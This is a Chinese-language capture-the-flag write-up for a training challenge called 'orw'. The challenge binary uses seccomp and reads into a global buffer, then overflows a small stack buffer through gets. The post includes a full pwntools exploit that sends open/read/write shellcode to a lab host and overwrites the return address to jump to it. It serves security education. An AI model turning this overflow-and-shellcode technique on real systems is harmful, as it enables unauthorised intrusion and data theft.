Yuawn Pwn1 orw Writeup

kazma 成大資安社 創辦人/社長

orw

orw 顧名思義就是開放 open,read and write 三個 syscalls 的經典題目。如下圖:

seccomp

執行看一下:

preview

r2 看一下 main:

r2_or2

一開始他會先把輸入讀到全域變數 obj.sc,然後他開了 0x10 的 buffer,但是用 gets 讀。
計畫就是用 orw 開 shell,然後 ret2sc,至於 obj.sc 的位置 r2 很貼心地直接標在 obj.sc 上面。
exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

context.arch = 'amd64'
r = remote('10.129.0.57', 10171)

sc = asm(
shellcraft.pushstr(b"/home/orw/flag") +
shellcraft.open('rsp', 0, 0) +
shellcraft.read('rax', 'rsp', 0x30) +
shellcraft.write(1, 'rsp', 0x30)
)

r.sendafter(b'>', sc)
r.sendlineafter(b':)', b'a'*0x18 + p64(0x6010a0))

r.interactive()

不過因為新的 os 在 bss 段只有讀取權限所以會直接 eof:

fail

但不管,還是

Pwned !!!

  • Title: Yuawn Pwn1 orw Writeup
  • Author: kazma
  • Created at : 2023-12-10 21:24:37
  • Updated at : 2023-12-14 01:06:22
  • Link: https://kazma.tw/2023/12/10/Yuawn-Pwn1-orw-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Yuawn Pwn1 orw Writeup